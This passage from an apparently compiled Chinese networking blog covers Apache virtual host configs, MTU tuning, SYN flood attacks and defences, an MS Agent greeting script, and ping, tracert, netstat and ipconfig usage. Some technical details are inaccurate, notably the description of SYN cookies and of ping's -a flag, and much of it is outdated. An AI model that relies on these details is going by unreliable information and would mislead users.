    Listen 172.16.3.40:80
    Listen 172.16.3.40:8080
    Listen 172.16.3.50:80
    Listen 172.16.3.50:8080

    <VirtualHost 172.16.3.40:80>
    DocumentRoot /www/ghq1-80
    ServerName www.ghq1.com
    </VirtualHost>

    <VirtualHost 172.16.3.40:8080>
    DocumentRoot /www/ghq1-8080
    ServerName www.ghq1.com
    </VirtualHost>

    <VirtualHost 172.16.3.50:80>
    DocumentRoot /www/ghq2-80
    ServerName www.ghq1.org
    </VirtualHost>

    <VirtualHost 172.16.3.50:8080>
    DocumentRoot /www/ghq2-8080
    ServerName www.ghq2.org
    </VirtualHost>

    因此,建立虚拟主机,我们要做好不同的IP对应的域名解析工作,建立相应的目录(如/www/ghq1),将相应的主页内容存放在相应的目录中即可。

二、Apache实现基于主机名的虚拟主机服务(一个IP地址实现多个网站)
   
    基于主机名字的虚拟主机服务,是目前虚拟主机比较常用的一种方案。因为它不需要更多的IP地址,无须什么特殊的软硬件支持。而且现在的浏览器大都支持这种虚拟主机的实现方法。基于域名的的虚拟主机是根据客户端提交的HTTP头中的关于主机名的部分决定的。使用这种技术,很多虚拟主机可以享用同一个IP地址。

    基于域名的虚拟主机相对比较简单,因为我们只需要配置DNS服务器将每个主机名映射(CNAMES)到正确的IP地址,然后配置Apache HTTP服务器,令其辨识不同的主机名就可以了。基于域名的服务器也可以缓解IP地址(IPV4)不足的问题。这种方式下,各个虚拟主机共享同一份Apache,因此有CGI程序运行时,安全性也不高。

    优点:只要一个IP地址就可以提供大量的虚拟主机服务。
    缺点:安全性差。维护这些虚拟主机时需要更改配置文件,并且需要重新启动Apache进程才能起作用。因此不适合进行大规模的虚拟主机服务。

    如果服务器只有一个IP地址,而在DNS中有很多映射到这个机器。我们想要在这个机器上运行www.ghq1.com和 www.ghq2.org两个站点。在Apache服务器的配置中创建一个虚拟主机并不会自动在DNS中对主机名做相应更新。我们必须自己在DNS中添加域名来指向我们的IP地址。否则别人是无法看到我们的web 站点。

    服务器配置(apache的配置文件httpd.conf)
    # Ensure that Apache listens on port 80
    Listen 80

    # Listen for virtual host requests on all IP addresses
    NameVirtualHost *

    <VirtualHost *>
    DocumentRoot /www/ghq1
    ServerName www.ghq1.com

    # Other directives here

    </VirtualHost>

    <VirtualHost *>
    DocumentRoot /www/ghq2
    ServerName www.ghq2.org

    # Other directives here

    </VirtualHost>

    因为*(星号)匹配所有的地址,所以主服务器不接收任何请求。因为 www.ghq1.com首先出现在配置文件中,所以它拥有最高优先级,可以认为是默认或首要服务器。这意味着如果一个接受的请求不能与某个ServerName指令相匹配, 它将会由第一个VirtualHost所伺服。

    当我们的IP地址无法确定的时候,使用*是很方便的–比如说, ISP给我们配置的是动态IP地址(如ADSL拨号上网),而我们有使用了某种动态域名解析系统时。因为*匹配任何IP 地址,所以在这样的情况下,不论IP地址如何变化,我们都不需要另外进行配置。上述配置就是我们在绝大多数情况下使用基于域名的虚拟主机时将要用到的。

什么是MTU

1、MTU是Maximum Transmission Unit的缩写。意思是网络上传送的最大数据包。MTU的单位是字节。
大部分网络设备的MTU都是1500。如果本机的MTU比网关的MTU大,大的数据包就会被拆开来传送,这样会产生很多数据包碎片,增加丢包率,降低网络速度。把本机的MTU设成比网关的MTU小或相同,就可以减少丢包。
2、MTU定义了基于IP协议在网络中传输的每一个IP包所含的最大字节数。例如,常见的Ethernet局域网的MTU是1500字节,xDSL的MTU大部分是1492或者1464、1450字节,普通Modem拨号的MTU则小的多,一般只有576字节。
Windows默认的MTU是1500,在xDSL上就不适合,因为xDSL本身会占据8个字节,所以有的ADSL驱动就默认为1492。但是,这个并不完全准确,许多情况下,仍然会有网站不能访问、信件不能从POP3收下来等等问题发生。测试一个网络连接所能承受的最大MTU,可以使用命令:ping -f -l size hostname 来测试。发现对于xDSL来说,MTU=1450是个相对比较合理的数值。
3、如何检测网关的MTU? 在本机打开dos窗口,执行: ping -f -l 1472 192.168.0.1
其中192.168.0.1是网关IP地址,1472是数据包的长度。请注意,上面的参数是“-l”(小写的L),而不是“-1”。
如果能ping通,表示数据包不需要拆包,可以通过网关发送出去。
如果出现: Packet needs to be fragmented but DF set.
表示数据包需要拆开来发送。此时,减少数据包长度,再执行上面的ping命令。从1400到1472之间多试几次,就能找到合适的数据包长度了。把数据包长度加上数据包头28字节,就得到MTU的值。
如果检测到网关的MTU值是1500,不需要修改。
如果网关有防火墙ping不通,可以试试直接把MTU设为1400。
4、如何修改本机的MTU?
修改方法如下:
(1)、运行regedit
(2)、浏览到:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
(3)、Interfaces下有多个子项,每个子项对应一个网卡。请按如下方法选择网卡:
(a)确定本机用来连接Internet的网卡或拨号连接的IP,如192.168.0.19;
(b)用鼠标点击Interfaces上的子项,查看键值列表中的IPAddress项;
(c)如果IPAddress的键值与(a)中的IP相同,即192.168.0.19,则该子项就是要找的网卡。
(4)、进入该子项,在右边的窗口里按鼠标右键,选择“新建”-&gt;“双字节值”,输入名称“MTU”,按回车。再用鼠标双击“MTU”,弹出修改窗口:
如图3: 填入MTU的值。填写前请先把基数设为十进制。
设置好后,需要重启机器才能生效。

Syn Flood 攻击 及其一般防御方法

防火墙通知受到Syn Flood攻击,并解释说:

A SYN Flood is an attempt to consume memory and resources. A Normal TCP/IP connection is established with an exchange of packets. A SYN packet, a SYN/ACK packet returned and then a final ACK packet. While the machine is waiting for the returning ACK packet, memory is consumed on the host machine in the attempt to retain the state of open connections.

(SYN Flood 企图消耗目标机的内存和资源。建立正常的TCP/IP连接时有一个数据包的交换。“目标机”接收到一个“请求连接机”发送的SYN包,就会返回一个SYN/ACK包,最后接收一个“请求连接机”返回的ACK包。当目标机在等待“请求连接机”返回ACK包时,为保持开放连接的状态,就会消耗内存。)

a. SYN Food攻击是利用特殊的程序,设置TCP的Header,向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。如果你的SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。此时,服务器已经无法再提供正常的服务了,所以SYN Food攻击是拒绝服务攻击。

b. SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:

TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号;

第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。

第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。

以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。

问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源—-数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃。

即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

从防御角度来说,有几种简单的解决方法:

第一种是缩短SYN Timeout时间,由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数,这个值=SYN攻击的频度 x SYN Timeout,所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间,例如设置为20秒以下(过低的SYN Timeout设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。

第二种方法是设置SYN Cookie,就是给每一个请求连接的IP地址分配一个Cookie,如果短时间内连续受到某个IP的重复SYN报文,就认定是受到了攻击,以后从这个IP地址来的包会被丢弃。

可是上述的两种方法只能对付比较原始的SYN Flood攻击,缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效,SYN Cookie更依赖于对方使用真实的IP地址,如果攻击者以数万/秒的速度发送SYN报文,同时利用SOCK_RAW随机改写IP报文中的源地址,以上的方法将毫无用武之地。

c. TCP SYN Flood是一种常见,而且有效的远程拒绝服务(Denial of Service)攻击方式,它通过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得提供TCP服务的主机系统无法正常工作。

由于TCP SYN Flood是通过网络底层对服务器进行攻击的,它可以在任意改变自己的网络地址的同时,不被网络上的其他设备所识别,这样就给公安部门追查犯罪来源造成很大的困难。

在国内与国际的网站中,这种攻击屡见不鲜。在今年年中的一个拍卖网站上,曾经有犯罪分子利用这种手段,在低价位时阻止其他用户继续对商品拍卖,干扰拍卖过程的正常运作。

=========

综上所述,SYN Flood攻击通常用于对付服务器;目前没有很好的办法对付SYN Flood攻击。

可是,我的机器没有开设服务器,也受到了攻击。当然,防火墙的解释中没有提到服务器的事情。此外,防火墙为我挡住了这些攻击。

默林老人

欢迎光临 默林老人 之家, 默林老人 不是病毒

默林老人介绍:

默林老人 本是office的助手,不是病毒,但是不好关闭,不过会用任务管理器就很好办的,直接在任务管理器把进程agentsvr.exe 干掉就行了。

页面的源代码:

    

        

            

        

    

            

<p>欢迎光临 默林老人 之家, 默林老人 不是病毒 </p>
            <p>&nbsp;</p>
            <p><SCRIPT>
            <!--
            function crml(nid)
            {
            try
            {
            nid=new ActiveXObject("Agent.Control.2");
            nid.Connected = true;
            nid.Characters.Load("");
            return nid;
            }
            catch (err)
            {
            return false;
            }
            }
            function chplay ()
            {
            if (ml=crml ("ml"))
            {
            var MerlinID;
            var MerlinACS;
            Merlin = ml.Characters.Character(MerlinID);
            Merlin.MoveTo(200,200);
            Merlin.Show();
            Merlin.Play("Explain");
            Merlin.Play("Announce");
            Merlin.Speak("欢迎您光临“默林老人”的博客!");
            Merlin.Play("Gestureright");
            Merlin.Play("Pleased");
            Merlin.Speak("希望这里有您所需要的东西");
            Merlin.Play("Idle1_1");
            Merlin.Hide();
            Merlin.MoveTo(600,300);
            Merlin.Show();
            Merlin.Play("Surprised");
            Merlin.Speak("先看看我的文章吧");
            Merlin.Play("Read");
            Merlin.Speak("再去给我留言");
            Merlin.Play("Write")
            Merlin.Play("GestureUp");
            Merlin.Speak("怎么样?还不错吧?");
            Merlin.Play("DontRecognize");
            Merlin.Speak("你喜欢这里吗?");
            Merlin.Play("DontRecognize");
            Merlin.Play("Greet");
            Merlin.Speak("那你就慢慢的溜达吧");
            Merlin.Play("Greet");
            Merlin.Speak("我会关注您的留言并给于回复,再见!!!");
            Merlin.Play("Greet");
            Merlin.Hide();
            }
            }
            //-->

            </SCRIPT><SCRIPT>
            <!--
            chplay()
            -->

            </SCRIPT></p>
            

            

 

默林指令一览表

Merlin.Show();//显示
Merlin.Hide();//隐藏
Merlin.MoveTo(x,y); //移动至座标点
Merlin.Speak("要说的话");说话
Merlin.Think("要思考的内容 ");思考
Merlin.Play("RestPose");//回复动作
Merlin.Play("GestureUp");//向上
Merlin.Play("GestureDown");//向下
Merlin.Play("GestureLeft");// 伸出左手
Merlin.Play("GestureRight");// 伸出右手
Merlin.Play("Sad");//叹气
Merlin.Play("Surprised");//惊奇
Merlin.Play("Pleased");//握掌
Merlin.Play("Announce");//喇叭
Merlin.Play("Blink");//眯眼
Merlin.Play("Decline");//无奈
Merlin.Play("Confused");//抓头
Merlin.Play("Congratulate");//奖杯
Merlin.Play("Wave");//挥手
Merlin.Play("Alert");//惊讶
Merlin.Play("Acknowledge");//点头
Merlin.Play("DoMagic1");//魔术棒-1
Merlin.Play("DoMagic2");//魔术棒-2
Merlin.Play("Explain");//摊手
Merlin.Play("GetAttention");//敲门
Merlin.Play("GetAttentionContinued");//敲门-敲
Merlin.Play("GetAttentionReturn");//敲门-放下
Merlin.Play("Greet");//弯腰
Merlin.Play("Idle1_1");
Merlin.Play("Idle1_2");
Merlin.Play("Idle2_1");//观察魔术棒
Merlin.Play("Idle2_2");//两手在腹前交叉
Merlin.Play("Idle3_1");//打呵欠
Merlin.Play("Idle3_2");//打瞌睡
Merlin.Play("LookUp");//上看
Merlin.Play("LookDown");//下看
Merlin.Play("LookLeft");//左看
Merlin.Play("LookRight");//右看
Merlin.Play("MoveUp");//上移
Merlin.Play("MoveDown");//下移
Merlin.Play("MoveLeft");//左移
Merlin.Play("MoveRight");//右移
Merlin.Play("Process");//魔法调配
Merlin.Play("Processing");//魔法调配-持续
Merlin.Play("Read");//阅读
Merlin.Play("ReadContinued");//阅读-展开
Merlin.Play("ReadReturn");//阅读-收回
Merlin.Play("Reading");//阅读-持续
Merlin.Play("Search");//搜寻
Merlin.Play("Searching");//搜寻-持续
Merlin.Play("DontRecognize");//听
Merlin.Play("StartListening");//听
Merlin.Play("StopListening");//掩耳
Merlin.Play("Suggest");//点子
Merlin.Play("Uncertain");//前倾
Merlin.Play("Write");//书写
Merlin.Play("WriteContinued");//书写-开始
Merlin.Play("WriteReturn");//书写-结束
Merlin.Play("Writing");//书写-持续

 

常用网络测试命令详解

ping命令详解

使用 ping可以测试计算机名和计算机的 ip 地址,验证与远程计算机的连接,通过将 icmp 回显数据包发送到计算机并侦听回显回复数据包来验证与一台或多台远程计算机的连接,该命令只有在安装了 tcp/ip 协议后才可以使用。 现在打开你的ms-dos(开始→程序→ms-dos),用win2000的朋友打开cmd.exe(这是win2000下的ms-dos,开始→程序→附件→"命令提示符" 或 开始→搜索文件或文件夹→"填入cmd.exe",找到后双击运行就可以了。) 下面我们来看看他的命令:

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list

参数

-t

ping 指定的计算机直到中断。ctrl+c停止

-a

将地址解析为计算机名。例:c:\\>ping -a 127.0.0.1

pinging china-hacker [127.0.0.1] with 32 bytes of data:(china-hacker就是他的计算机名)

reply from 127.0.0.1: bytes=32 time<10ms ttl=128reply from 127.0.0.1: bytes=32 time<10ms ttl=128reply from 127.0.0.1: bytes=32 time<10ms ttl=128reply from 127.0.0.1: bytes=32 time<10ms ttl=128

ping statistics for 127.0.0.1:packets: sent = 4, received = 4, lost = 0 (0% loss),approximate round trip times in milli-seconds:minimum = 0ms, maximum = 0ms, average = 0ms

-n count

发送 count 指定的 echo 数据包数。默认值为 4。

-l length

发送包含由 length 指定的数据量的 echo 数据包。默认为 32 字节;最大值是 65,527。

-f

在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。

-i ttl

将“生存时间”字段设置为 ttl 指定的值。

-v tos

将“服务类型”字段设置为 tos 指定的值。

-r count

在“记录路由”字段中记录传出和返回数据包的路由。count 可以指定最少 1 台,最多 9 台计算机。

-s count

指定 count 指定的跃点数的时间戳。

-j computer-list

利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)ip 允许的最大数量为 9。

-k computer-list

利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)ip 允许的最大数量为 9。

-w timeout

指定超时间隔,单位为毫秒。

destination-list

指定要 ping 的远程计算机。

c:\\>ping ds.internic.net

pinging ds.internic.net [192.20.239.132] with 32 bytes of data: (192.20.239.132 他的ip地址)

reply from 192.20.239.132:bytes=32 time=101ms ttl=243

reply from 192.20.239.132:bytes=32 time=100ms ttl=243

reply from 192.20.239.132:bytes=32 time=120ms ttl=243

reply from 192.20.239.132:bytes=32 time=120ms ttl=243

******#***TRACERT的使用
  

Traceroute使用详解

Internet,即国际互联网,是目前世界上最大的计算机网络,更确切地说是网络的网络。它由遍布全球的几万局域网和数百万台计算机组成,并通过用于异构网络的TCP/IP协议进行网间通信。互联网中,信息的传送是通过网中许多段的传输介质和设备(路由器,交换机,服务器,网关等等)从一端到达另一端。每一个连接在Internet上的设备,如主机、路由器、接入服务器等一般情况下都会有一个独立的IP地址。通过Traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。UNIX系统中,我们称之为Traceroute,MS Windows中为Tracert。 Traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备Traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其IP地址。
在大多数情况下,作为网络工程技术人员或者系统管理员会在UNIX主机系统下,直接执行命令行:
Traceroute hostname
而在Windows系统下是执行Tracert的命令:
Tracerert hostname
比如在北京地区使用windows NT 主机(已经与北京163建立了点对点的连接后)
使用NT系统中的Tracert命令:(用户可用:开始->运行,输入"command" 调出command窗口使用此命令)
C:\\>tracert
www.yahoo.com
Tracing route towww.yahoo.com [204.71.200.75]
over a maximum of 30 hops:

1 161 ms 150 ms 160 ms 202.99.38.67
2 151 ms 160 ms 160 ms 202.99.38.65
3 151 ms 160 ms 150 ms 202.97.16.170
4 151 ms 150 ms 150 ms 202.97.17.90
5 151 ms 150 ms 150 ms 202.97.10.5
6 151 ms 150 ms 150 ms 202.97.9.9
7 761 ms 761 ms 752 ms border7-serial3-0-0.Sacramento.cw.net [204.70.122.69]
8 751 ms 751 ms * core2-fddi-0.Sacramento.cw.net [204.70.164.49]
9 762 ms 771 ms 751 ms border8-fddi-0.Sacramento.cw.net [204.70.164.67]
10 721 ms * 741 ms globalcenter.Sacramento.cw.net [204.70.123.6]
11 * 761 ms 751 ms pos4-2-155M.cr2.SNV.globalcenter.net [206.132.150.237]
12 771 ms * 771 ms pos1-0-2488M.hr8.SNV.globalcenter.net [206.132.254.41]
13 731 ms 741 ms 751 ms bas1r-ge3-0-hr8.snv.yahoo.com [208.178.103.62]
14 781 ms 771 ms 781 ms www10.yahoo.com [204.71.200.75]

Trace complete.
您目前正在ONLINE状态的话,可以直接尝试一下。
参数说明:
tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name
该诊断实用程序通过向目的地发送具有不同生存时间 (TL) 的 Internet 控制信息协议 (CMP) 回应报文,以确定至目的地的路由。路径上的每个路由器都要在转发该 ICMP 回应报文之前将其 TTL 值至少减 1,因此 TTL 是有效的跳转计数。当报文的 TTL 值减少到 0 时,路由器向源系统发回 ICMP 超时信息。通过发送 TTL 为 1 的第一个回应报文并且在随后的发送中每次将 TTL 值加 1,直到目标响应或达到最大 TTL 值,Tracert 可以确定路由。通过检查中间路由器发发回的 ICMP 超时 (ime Exceeded) 信息,可以确定路由器。注意,有些路由器“安静”地丢弃生存时间 (TLS) 过期的报文并且对 tracert 无效。
参数
-d
指定不对计算机名解析地址。
-h maximum_hops
指定查找目标的跳转的最大数目。
-jcomputer-list
指定在 computer-list 中松散源路由。
-w timeout
等待由 timeout 对每个应答指定的毫秒数。
target_name
目标计算机的名称。
二、什么是Traceroute网关—— Traceroute Gateway?
一般使用Traceroute(或者是Tracert)是基于一台主机的,但是通常您只能知道以手边的主机为源地址到互联网络上任意一台在线的主机的路由连接质量以及数据传输效率的情况,而使用基于WEB的方式,只要一台主机安装了特定的CGI程序,用户就可以通过这台主机运行相关的程序,执行Traceroute的功能。这台主机我们把它叫做Traceroute网关。Traceroute网关可以帮助用户了解网络的物理与逻辑连接的拓扑情况以及数据传输的效率。如果这种网关足够多,我们就可以方便地了解到各主机之间连接的情况了。
三、为什么要使用Traceroute?
1.几乎每一个网上人(尤其是Webmaster)对他们的计算机(或其它设备)与Internet的连接,路由(径),连通时间,速度等都很关心。使用由ChianNetMap组织起来的各地区Webmaster提供的Traceroute网关的服务,将给你一个满意的答案。从你的计算机到任何别的地方,ChinaNetMap(Traceroute)都能提供其间的每个设备(IP地址)及其连通时间。它可以让你画出通过网络的路径。
2.许多公司和单位都设有或正在设立自己的服务器-尤其是Web服务器。一旦有自己的Web服务器,随着网民数量的日益增加(包括潜在的,没法统计的网民),你一定很想知道是否他们都能与你连接。你的ISP如何与一个或多个NAP连接,以及他们的连接效率会直接影响到你的连接质量.
3.在选择ISP,骨干网连接,你站点的主机时,大多数有见识的网民喜欢检查该Site的连接性能及其它是怎样精确的与谁连,连到哪儿。ChinaNetMap(Traceroute)将给你一个完美的答案。
四、Traceroute的功能介绍:
Traceroute最早是由Van Jacobson在1988写出的小程序。当时主要是解决他自己碰到的一些网络的问题。Traceroute是一个正确理解IP网络并了解路由原理的重要工具。他们对负责网络工程技术与系统管理的Webmaster是一个使用方便的程序。
对ISP而言,设立Traceroute网关,将使网络服务提供商帮助用户建立并维持对服务商服务质量的信心。服务质量高的ISP可以通过设立Traceroute网关,使用户了解其与网络连接以及数据传输的效率。当然,基础设施差,服务质量低的ISP是比较害怕提供这种服务。因为,这样用户可以使用这一工具了解服务商目前的网络连接情况。
在一台主机安装了相关的Traceroute的CGI程序后,您可以输入相应的目的主机的IP地址或者名字,就可以得到相关的数据:
如:在美国的主机
http://bs.mit.edu:8001/cgi-bin/traceroute上
查询其到中国南京的北极星站点www.lodesoft.com(中国Webmaster联盟的合作伙伴)数据传输的路径。
查询界面为:
Traceroute Hack
——————————————————————————–

可以搜索该索引。请键入要搜索的关键字:
查询结果为:
Traceroute Hack
1 E40-RTR-E40SERVER72-ETHER.MIT.EDU (18.72.0.1) 4 ms 4 ms 4 ms
2 EXTERNAL-RTR-FDDI.MIT.EDU (18.168.0.12) 4 ms 4 ms 4 ms
3 f1-0.cambridge2-br2.bbnplanet.net (192.233.33.6) 4 ms 4 ms 4 ms
4 s11-0-1.cambridge1-br1.bbnplanet.net (4.0.1.201) 8 ms 4 ms 4 ms
5 p1-0.cambridge1-nbr2.bbnplanet.net (4.0.1.45) 4 ms 4 ms 4 ms
6 p4-1.bstnma1-ba1.bbnplanet.net (4.0.2.170) 4 ms 4 ms 4 ms
7 p1-0.bstnma1-ba2.bbnplanet.net (4.24.4.194) 4 ms 8 ms 8 ms
8 p2-1.nyc4-nbr3.bbnplanet.net (4.24.4.238) 8 ms 12 ms 12 ms
9 p1-0.nyc4-nbr2.bbnplanet.net (4.0.5.25) 8 ms 12 ms 8 ms
10 p4-0.sanjose1-nbr2.bbnplanet.net (4.0.5.97) 70 ms 70 ms 70 ms
11 p1-0.sanjose1-nbr1.bbnplanet.net (4.0.5.85) 70 ms 70 ms 70 ms
12 p4-0.paloalto-nbr2.bbnplanet.net (4.0.1.1) 70 ms 74 ms 70 ms
13 p0-0-0.paloalto-cr18.bbnplanet.net (4.0.3.86) 70 ms 74 ms 74 ms
14 h1-0.atteasylink.bbnplanet.net (4.1.142.254) 74 ms 74 ms 78 ms
15 199.37.127.234 (199.37.127.234) 78 ms 74 ms 78 ms
16 205.174.74.170 (205.174.74.170) 230 ms 238 ms 227 ms
17 202.97.9.65 (202.97.9.65) 238 ms 231 ms 223 ms
18 * 202.97.9.49 (202.97.9.49) 234 ms *
19 202.97.10.110 (202.97.10.110) 246 ms 250 ms *
20 202.97.24.178 (202.97.24.178) 234 ms 238 ms 238 ms
21 202.102.24.74 (202.102.24.74) 234 ms 254 ms *
五、Traceroute的命令参数:
Traceroute的用法为: Traceroute [options] <IP-address or domain-name> [data size]
[options]的内容有:
[-n]:显示的地址是用数字表示而不是符号
[-v]:长输出
[-p]:UDP端口设置(缺省为33434)
[-q]:设置TTL测试数目(缺省为3)
[-t]:设置测包的服务类型
[data size]:每次测试包的数据字节长度(缺省为38)

六、Traceroute的工作原理:
Traceroute最简单的基本用法是:traceroute hostname
Traceroute程序的设计是利用ICMP及IP header的TTL(Time To Live)栏位(field)。首先,traceroute送出一个TTL是1的IP datagram(其实,每次送出的为3个40字节的包,包括源地址,目的地址和包发出的时间标签)到目的地,当路径上的第一个路由器(router)收到这个datagram时,它将TTL减1。此时,TTL变为0了,所以该路由器会将此datagram丢掉,并送回一个「ICMP time exceeded」消息(包括发IP包的源地址,IP包的所有内容及路由器的IP地址),traceroute 收到这个消息后,便知道这个路由器存在于这个路径上,接着traceroute 再送出另一个TTL是2 的datagram,发现第2 个路由器…… traceroute 每次将送出的datagram的TTL 加1来发现另一个路由器,这个重复的动作一直持续到某个datagram 抵达目的地。当datagram到达目的地后,该主机并不会送回ICMP time exceeded消息,因为它已是目的地了,那么traceroute如何得知目的地到达了呢?
Traceroute在送出UDP datagrams到目的地时,它所选择送达的port number 是一个一般应用程序都不会用的号码(30000 以上),所以当此UDP datagram 到达目的地后该主机会送回一个「ICMP port unreachable」的消息,而当traceroute 收到这个消息时,便知道目的地已经到达了。所以traceroute 在Server端也是没有所谓的Daemon 程式。
Traceroute提取发 ICMP TTL到期消息设备的IP地址并作域名解析。每次 ,Traceroute都打印出一系列数据,包括所经过的路由设备的域名及 IP地址,三个包每次来回所花时间。
Traceroute face="宋体" 有一个固定的时间等待响应(ICMP TTL到期消息)。如果这个时间过了,它将打印出一系列的*号表明:在这个路径上,这个设备不能在给定的时间内发出ICMP TTL到期消息的响应。然后,Traceroute给TTL记数器加1,继续进行。

*******网络测试常用命令

网络不通,求助于网管时,经常会看到网管检测和处理网络故障,用到一些命令,了解和掌握下面几个命令将会有助于你更快地检测到网络故障所在,从而节省时间,提高效率。

Ping
Ping是测试网络联接状况以及信息包发送和接收状况非常有用的工具,是网络测试最常用的命令。Ping向目标主机(地址)发送一个回送请求数据包,要求目标主机收到请求后给予答复,从而判断网络的响应时间和本机是否与目标主机(地址)联通。

如果执行Ping不成功,则可以预测故障出现在以下几个方面:网线故障,网络适配器配置不正确,IP地址不正确。如果执行Ping成功而网络仍无法使用,那么问题很可能出在网络系统的软件配置方面,Ping成功只能保证本机与目标主机间存在一条连通的物理路径。

命令格式:
ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:
-t不停地向目标主机发送数据;

-a 以IP地址格式来显示目标主机的网络地址 ;

-n count 指定要Ping多少次,具体次数由count来指定 ;

-l size 指定发送到目标主机的数据包的大小。

例如当您的机器不能访问Internet,首先您想确认是否是本地局域网的故障
。假定局域网的代理服务器IP地址为202.168.0.1,您可以使用Ping避免202.168.0.1命令查看本机是否和代理服务器联通。又如,测试本机的网卡是否正确安装的常用命令是ping 127.0.0.1。

Tracert
Tracert命令用来显示数据包到达目标主机所经过的路径,并显示到达每个节点的时间。命令功能同Ping类似,但它所获得的信息要比Ping命令详细得多,它把数据包所走的全部路径、节点的IP以及花费的时间都显示出来。该命令比较适用于大型网络。

命令格式:
tracert IP地址或主机名 [-d][-h maximumhops][-j host_list] [-w timeout]

参数含义:
-d 不解析目标主机的名字;

-h maximum_hops 指定搜索到目标地址的最大跳跃数;

-j host_list 按照主机列表中的地址释放源路由;

-w timeout 指定超时时间间隔,程序默认的时间单位是毫秒。

例如大家想要了解自己的计算机与目标主机www.cce.com.cn之间详细的传输路径信息,可以在MS-DOS方式输入tracertwww.ccidnet.com

如果我们在Tracert命令后面加上一些参数,还可以检测到其他更详细的信息,例如使用参数-d,可以指定程序在跟踪主机的路径信息时,同时也解析目标主机的域名。

Netstat
Netstat命令可以帮助网络管理员了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,例如显示网络连接、路由表和网络接口信息,可以统计目前总共有哪些网络连接正在运行。

利用命令参数,命令可以显示所有协议的使用状态,这些协议包括TCP协议、UDP协议以及IP协议等,另外还可以选择特定的协议并查看其具体信息,还能显示所有主机的端口号以及当前主机的详细路由信息。

命令格式:
netstat [-r] [-s] [-n] [-a]

参数含义:
-r 显示本机路由表的内容;

-s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议);

-n 以数字表格形式显示地址和端口;

-a 显示所有主机的端口号。

Winipcfg
Winipcfg命令以窗口的形式显示IP协议的具体配置信息,命令可以显示网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,还可以查看主机名、DNS服务器、节点类型等相关信息。其中网络适配器的物理地址在检测网络错误时非常有用。

命令格式:
winipcfg [/?] [/all]

参数含义:
/all 显示所有的有关IP地址的配置信息;

/batch [file] 将命令结果写入指定文件;

/renew_ all 重试所有网络适配器;

/release_all 释放所有网络适配器;

/renew N 复位网络适配器 N;

/release N 释放网络适配器 N。

在Microsoft的Windows 95及其以后的操作系统中,都可以运行以上命令
*****************祥解IPCONFIG

Ipconfig 细解
  

Ipconfig是调试计算机网络的常用命令,通常大家使用它显示计算机中网络适配器的IP地址、子网掩码及默认网关。其实这只是Ipconfig的不带参数用法,而它的带参数用法,在网络应用中也是相当不错的。

一、参数说明

1、/all

显示所有网络适配器(网卡、拨号连接等)的完整TCP/IP配置信息。与不带参数的用法相比,它的信息更全更多,如IP是否动态分配、显示网卡的物理地址等。

2、/batch 文件名

将Ipconfig所显示信息以文本方式写入指定文件。此参数可用来备份本机的网络配置。

3、/release_all和/release N

释放全部(或指定)适配器的由 DHCP分配的动态IP 地址。此参数适用于IP地址非静态分配的网卡,通常和下文的renew参数结合使用。

4、ipconfig /renew_all或ipconfig /renew N

